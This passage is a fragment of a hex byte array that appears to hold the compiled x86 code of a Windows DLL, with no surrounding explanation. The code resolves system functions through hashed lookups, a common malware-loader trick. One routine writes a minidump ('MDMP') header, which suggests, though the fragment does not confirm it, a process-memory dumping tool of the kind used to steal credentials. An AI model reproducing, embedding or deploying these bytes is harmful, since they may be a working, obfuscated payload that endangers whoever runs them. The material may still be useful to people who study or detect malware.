x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x44,0x24,0x0C,0xC7,0x44,0x24,0x08,0x82,0x82,0x88,0x6C,0xC7,0x44,0x24,0x04,0x04,0x01,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x08,0x1B,0x00,0x00,0x83,0x7D,0x0C,0x00,0x74,0x07,0xB8,0x03,0x00,0x00,0x40,0xEB,0x05,0xB8,0x03,0x00,0x00,0x00,0x89,0x45,0xE8,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0xFF,0x00,0x00,0x00,0x8D,0x45,0xB4,0x89,0x44,0x24,0x1C,0xC7,0x44,0x24,0x18,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x00,0x10,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x10,0x00,0x00,0x8B,0x45,0xE0,0x89,0x44,0x24,0x0C,0x8B,0x45,0xE4,0x89,0x44,0x24,0x08,0x8B,0x45,0xE8,0x89,0x44,0x24,0x04,0x8B,0x45,0xF0,0x89,0x04,0x24,0x8B,0x45,0xD4,0xFF,0xD0,0x83,0xEC,0x20,0x8B,0x55,0x10,0x89,0x02,0x8B,0x45,0x10,0x8B,0x00,0x83,0xF8,0xFF,0x74,0x1B,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xF0,0x00,0x74,0x23,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0x8B,0x55,0xF0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x10,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0x42,0x82,0x88,0x6C,0xE8,0xBB,0xFB,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0xA4,0x6E,0x97,0x24,0x89,0x04,0x24,0xE8,0x2A,0xFA,0xFF,0xFF,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xA5,0x00,0x00,0x00,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x0A,0x02,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x0C,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x74,0x7B,0x8B,0x45,0x08,0x89,0x44,0x24,0x0C,0xC7,0x44,0x24,0x08,0x82,0x82,0x88,0x6C,0xC7,0x44,0x24,0x04,0x04,0x01,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0xA7,0x19,0x00,0x00,0xC7,0x44,0x24,0x18,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x03,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0xC0,0x8B,0x45,0xF0,0x89,0x04,0x24,0x8B,0x45,0xEC,0xFF,0xD0,0x83,0xEC,0x1C,0x8B,0x55,0x0C,0x89,0x02,0x8B,0x45,0x0C,0x8B,0x00,0x83,0xF8,0xFF,0x74,0x0F,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xF0,0x00,0x74,0x23,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0x8B,0x55,0xF0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x10,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0x42,0x82,0x88,0x6C,0xE8,0x8D,0xFA,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x66,0x94,0x01,0x96,0x89,0x04,0x24,0xE8,0xFC,0xF8,0xFF,0xFF,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x74,0x36,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0x8B,0x45,0xEC,0xFF,0xD0,0x83,0xEC,0x08,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x75,0x0E,0xA1,0xFC,0xE0,0x88,0x6C,0xFF,0xD0,0x3D,0x17,0x02,0x00,0x00,0x75,0x0C,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x34,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0x42,0x82,0x88,0x6C,0xE8,0xF6,0xF9,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x8F,0x97,0x38,0x8D,0x89,0x04,0x24,0xE8,0x65,0xF8,0xFF,0xFF,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0x87,0x00,0x00,0x00,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x00,0x10,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x0C,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x8B,0x55,0x0C,0x89,0x02,0x8B,0x45,0x0C,0x8B,0x00,0x85,0xC0,0x74,0x58,0x8B,0x45,0x0C,0x8B,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0x8D,0x55,0xE8,0x89,0x54,0x24,0x0C,0xC7,0x44,0x24,0x08,0x00,0x10,0x00,0x00,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0x8B,0x45,0xEC,0xFF,0xD0,0x83,0xEC,0x14,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x74,0x24,0x8B,0x45,0xE8,0x85,0xC0,0x74,0x1D,0x83,0x7D,0x10,0x00,0x74,0x08,0x8B,0x55,0xE8,0x8B,0x45,0x10,0x89,0x10,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xF4,0x00,0x75,0x37,0x8B,0x45,0x0C,0x8B,0x00,0x85,0xC0,0x74,0x2E,0x8B,0x45,0x0C,0x8B,0x18,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x10,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x8B,0x45,0x0C,0xC7,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x24,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x00,0x10,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x0C,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xEC,0x8B,0x45,0xEC,0x85,0xC0,0x0F,0x84,0xBC,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0x8D,0x45,0xEC,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x69,0xFE,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x84,0x98,0x00,0x00,0x00,0x8B,0x45,0xEC,0x8B,0x00,0x85,0xC0,0x0F,0x85,0x8E,0x00,0x00,0x00,0x83,0x7D,0x0C,0x00,0x74,0x51,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x05,0x01,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x0C,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x8B,0x55,0x0C,0x89,0x02,0x8B,0x45,0x0C,0x8B,0x00,0x85,0xC0,0x74,0x59,0x8B,0x45,0xEC,0x8D,0x50,0x04,0x8B,0x45,0x0C,0x8B,0x00,0xC7,0x44,0x24,0x08,0x05,0x01,0x00,0x00,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x3D,0x16,0x00,0x00,0x83,0x7D,0x10,0x00,0x74,0x0E,0x8B,0x45,0xEC,0x8B,0x90,0x18,0x04,0x00,0x00,0x8B,0x45,0x10,0x89,0x10,0x83,0x7D,0x14,0x00,0x74,0x0E,0x8B,0x45,0xEC,0x8B,0x90,0x1C,0x04,0x00,0x00,0x8B,0x45,0x14,0x89,0x10,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xEC,0x85,0xC0,0x74,0x23,0x8B,0x5D,0xEC,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x10,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x8B,0x45,0xF4,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0x42,0x82,0x88,0x6C,0xE8,0x82,0xF7,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x6F,0x1B,0x7C,0xED,0x89,0x04,0x24,0xE8,0xF1,0xF5,0xFF,0xFF,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x74,0x4B,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0x8D,0x45,0xE8,0x89,0x44,0x24,0x0C,0x8B,0x45,0x10,0x89,0x44,0x24,0x08,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0x8B,0x45,0xEC,0xFF,0xD0,0x83,0xEC,0x14,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x75,0x0E,0xA1,0xFC,0xE0,0x88,0x6C,0xFF,0xD0,0x3D,0xE5,0x03,0x00,0x00,0x75,0x0C,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x20,0x04,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x0C,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x74,0x6A,0x8B,0x45,0xEC,0xC7,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x8D,0x50,0x04,0xC7,0x44,0x24,0x08,0x05,0x01,0x00,0x00,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x89,0x14,0x24,0xE8,0xB7,0x14,0x00,0x00,0x8B,0x45,0xEC,0x8B,0x55,0x10,0x89,0x90,0x18,0x04,0x00,0x00,0x8B,0x45,0xEC,0x8B,0x55,0x14,0x89,0x90,0x1C,0x04,0x00,0x00,0xC7,0x44,0x24,0x08,0x20,0x04,0x00,0x00,0x8B,0x45,0xEC,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xB5,0xFE,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x74,0x0C,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xEC,0x00,0x74,0x23,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0x8B,0x55,0xEC,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x10,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x83,0x7D,0x08,0x00,0x74,0x06,0x83,0x7D,0x08,0xFF,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x63,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0x42,0x82,0x88,0x6C,0xE8,0xE7,0xF5,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0xEA,0x7A,0xA4,0xAE,0x89,0x04,0x24,0xE8,0x56,0xF4,0xFF,0xFF,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x74,0x20,0x8B,0x45,0x08,0x89,0x04,0x24,0x8B,0x45,0xEC,0xFF,0xD0,0x83,0xEC,0x04,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x74,0x0C,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x20,0x04,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x0C,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x74,0x3E,0x8B,0x45,0xEC,0xC7,0x00,0x01,0x00,0x00,0x00,0x8B,0x45,0xEC,0x8B,0x55,0x0C,0x89,0x50,0x04,0xC7,0x44,0x24,0x08,0x20,0x04,0x00,0x00,0x8B,0x45,0xEC,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x71,0xFD,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x74,0x0C,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xEC,0x00,0x74,0x23,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0x8B,0x55,0xEC,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x10,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x24,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0x8D,0x45,0xEC,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x82,0xFA,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x74,0x1E,0x8B,0x45,0xEC,0x8B,0x00,0x83,0xF8,0x01,0x75,0x17,0x8B,0x45,0xEC,0x8B,0x50,0x04,0x8B,0x45,0x0C,0x89,0x10,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xEC,0x85,0xC0,0x74,0x23,0x8B,0x5D,0xEC,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x10,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x8B,0x45,0xF4,0x8B,0x5D,0xFC,0xC9,0xC3,0x90,0x90,0x55,0x89,0xE5,0x57,0x53,0x81,0xEC,0x60,0x02,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xC4,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x8D,0x95,0xB8,0xFD,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x82,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x85,0xB0,0xFD,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xB4,0xFD,0xFF,0xFF,0x00,0x00,0x00,0x00,0x8D,0x45,0xE4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0xC7,0x04,0x24,0x9C,0x82,0x88,0x6C,0xE8,0x2F,0xF5,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x84,0x75,0x01,0x00,0x00,0x8B,0x45,0xE4,0x89,0x04,0x24,0xE8,0xD7,0xF8,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x84,0x60,0x01,0x00,0x00,0x8B,0x45,0xE4,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0x8D,0x55,0xDC,0x89,0x54,0x24,0x08,0x8D,0x55,0xE0,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x67,0xFA,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x84,0x35,0x01,0x00,0x00,0x8D,0x85,0xB8,0xFD,0xFF,0xFF,0x89,0x85,0xB4,0xFD,0xFF,0xFF,0x66,0xC7,0x85,0xB0,0xFD,0xFF,0xFF,0x00,0x00,0x66,0xC7,0x85,0xB2,0xFD,0xFF,0xFF,0x00,0x00,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x8B,0x45,0xE0,0x89,0x44,0x24,0x04,0x8D,0x85,0xB0,0xFD,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x4A,0xBC,0xFF,0xFF,0x8D,0x85,0xB0,0xFD,0xFF,0xFF,0x89,0x04,0x24,0xE8,0xA0,0xBE,0xFF,0xFF,0x85,0xC0,0x0F,0x84,0xE1,0x00,0x00,0x00,0x8B,0x45,0xDC,0x85,0xC0,0x74,0x15,0xC7,0x45,0xD4,0x4D,0x44,0x4D,0x50,0x66,0xC7,0x45,0xD8,0x93,0xA7,0x66,0xC7,0x45,0xDA,0x00,0x00,0xEB,0x22,0x8D,0x45,0xC4,0x83,0xC0,0x16,0x89,0x44,0x24,0x08,0x8D,0x45,0xC4,0x83,0xC0,0x14,0x89,0x44,0x24,0x04,0x8D,0x45,0xC4,0x83,0xC0,0x10,0x89,0x04,0x24,0xE8,0xD8,0xC4,0xFF,0xFF,0xC7,0x45,0xEC,0xFF,0xFF,0xFF,0xFF,0xC7,0x45,0xC0,0x00,0x00,0x80,0x0C,0x8D,0x45,0xC0,0x89,0x04,0x24,0xE8,0x06,0xC4,0xFF,0xFF,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x80,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x45,0xC4,0x8B,0x45,0xE8,0x89,0x45,0xC8,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0x8B,0x45,0xC0,0x89,0x45,0xD0,0x8D,0x45,0xC4,0x89,0x04,0x24,0xE8,0x4B,0xED,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x74,0x56,0x8B,0x45,0xDC,0x85,0xC0,0x75,0x12,0x8B,0x55,0xCC,0x8B,0x45,0xC8,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x07,0xC4,0xFF,0xFF,0x8B,0x55,0xCC,0x8B,0x45,0xC8,0x89,0x54,0x24,0x08,0x89,0x44,0x24,0x04,0x8D,0x85,0xB0,0xFD,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x6F,0xBC,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x74,0x1B,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xC8,0x85,0xC0,0x74,0x19,0x8B,0x45,0xD0,0x85,0xC0,0x74,0x12,0x8B,0x55,0xD0,0x8B,0x45,0xC8,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0xAC,0xC3,0xFF,0xFF,0x83,0x7D,0xF4,0x00,0x75,0x0B,0x8B,0x45,0xE0,0x89,0x04,0x24,0xE8,0x75,0xBE,0xFF,0xFF,0x8B,0x45,0xE0,0x85,0xC0,0x74,0x23,0x8B,0x5D,0xE0,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x10,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x8B,0x45,0xE4,0x8B,0x55,0xF4,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x0C,0xFC,0xFF,0xFF,0x8B,0x45,0xE4,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xE4,0x89,0x04,0x24,0xE8,0x6E,0xFB,0xFF,0xFF,0x8B,0x45,0xE4,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xE4,0x89,0x04,0x24,0xE8,0x9C,0xD1,0xFF,0xFF,0x8B,0x45,0xF4,0x8D,0x65,0xF8,0x5B,0x5F,0x5D,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x08,0x83,0x7D,0x0C,0x03,0x74,0x25,0x83,0x7D,0x0C,0x03,0x77,0x26,0x83,0x7D,0x0C,0x02,0x74,0x1C,0x83,0x7D,0x0C,0x02,0x77,0x1A,0x83,0x7D,0x0C,0x00,0x74,0x13,0x83,0x7D,0x0C,0x01,0x75,0x0E,0xE8,0xFC,0xFC,0xFF,0xFF,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0xB8,0x00,0x00,0x00,0x00,0xC9,0xC2,0x0C,0x00,0x90,0x90,0xA1,0x80,0x70,0x88,0x6C,0x8B,0x00,0x85,0xC0,0x74,0x2D,0x55,0x89,0xE5,0x83,0xEC,0x08,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0xFF,0xD0,0xA1,0x80,0x70,0x88,0x6C,0x8D,0x50,0x04,0x8B,0x40,0x04,0x89,0x15,0x80,0x70,0x88,0x6C,0x85,0xC0,0x75,0xE9,0xC9,0xC3,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0xC3,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x55,0x89,0xE5,0x53,0x83,0xEC,0x14,0x8B,0x1D,0x90,0x6D,0x88,0x6C,0x83,0xFB,0xFF,0x74,0x2E,0x85,0xDB,0x74,0x16,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0xFF,0x14,0x9D,0x90,0x6D,0x88,0x6C,0x83,0xEB,0x01,0x75,0xF4,0xC7,0x04,0x24,0xC0,0x5D,0x88,0x6C,0xE8,0xA8,0xB5,0xFF,0xFF,0x8B,0x5D,0xFC,0xC9,0xC3,0x8D,0x76,0x00,0x31,0xC0,0x8D,0xB6,0x00,0x00,0x00,0x00,0x89,0xC3,0x83,0xC0,0x01,0x8B,0x14,0x85,0x90,0x6D,0x88,0x6C,0x85,0xD2,0x75,0xF0,0xEB,0xB8,0x8D,0xB6,0x00,0x00,0x00,0x00,0xA1,0x20,0xCA,0x88,0x6C,0x85,0xC0,0x74,0x07,0xC3,0x8D,0xB6,0x00,0x00,0x00,0x00,0xC7,0x05,0x20,0xCA,0x88,0x6C,0x01,0x00,0x00,0x00,0xEB,0x84,0x90,0x90,0x90,0x90,0x55,0x89,0xE5,0x83,0xEC,0x18,0x8B,0x45,0x0C,0x83,0xF8,0x03,0x74,0x12,0x85,0xC0,0x74,0x0E,0xC9,0xB8,0x01,0x00,0x00,0x00,0xC2,0x0C,0x00,0x2E,0x8D,0x74,0x26,0x00,0x89,0x44,0x24,0x04,0x8B,0x55,0x10,0x8B,0x45,0x08,0x89,0x54,0x24,0x08,0x89,0x04,0x24,0xE8,0xFA,0x06,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC2,0x0C,0x00,0x90,0x55,0x89,0xE5,0x53,0x83,0xEC,0x14,0x83,0x3D,0x8C,0x70,0x88,0x6C,0x02,0x8B,0x45,0x0C,0x74,0x0A,0xC7,0x05,0x8C,0x70,0x88,0x6C,0x02,0x00,0x00,0x00,0x83,0xF8,0x02,0x74,0x16,0x83,0xF8,0x01,0x74,0x49,0x8B,0x5D,0xFC,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC2,0x0C,0x00,0x2E,0x8D,0x74,0x26,0x00,0xBB,0x28,0xF0,0x88,0x6C,0x81,0xFB,0x28,0xF0,0x88,0x6C,0x74,0xE2,0x8D,0x76,0x00,0x8B,0x03,0x85,0xC0,0x74,0x02,0xFF,0xD0,0x83,0xC3,0x04,0x81,0xFB,0x28,0xF0,0x88,0x6C,0x75,0xED,0x8B,0x5D,0xFC,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC2,0x0C,0x00,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x90,0x8B,0x45,0x10,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0x89,0x44,0x24,0x08,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x66,0x06,0x00,0x00,0x8B,0x5D,0xFC,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC2,0x0C,0x00,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0x31,0xC0,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x89,0xE5,0x53,0x8D,0x5D,0x0C,0x83,0xEC,0x14,0xC7,0x04,0x24,0x02,0x00,0x00,0x00,0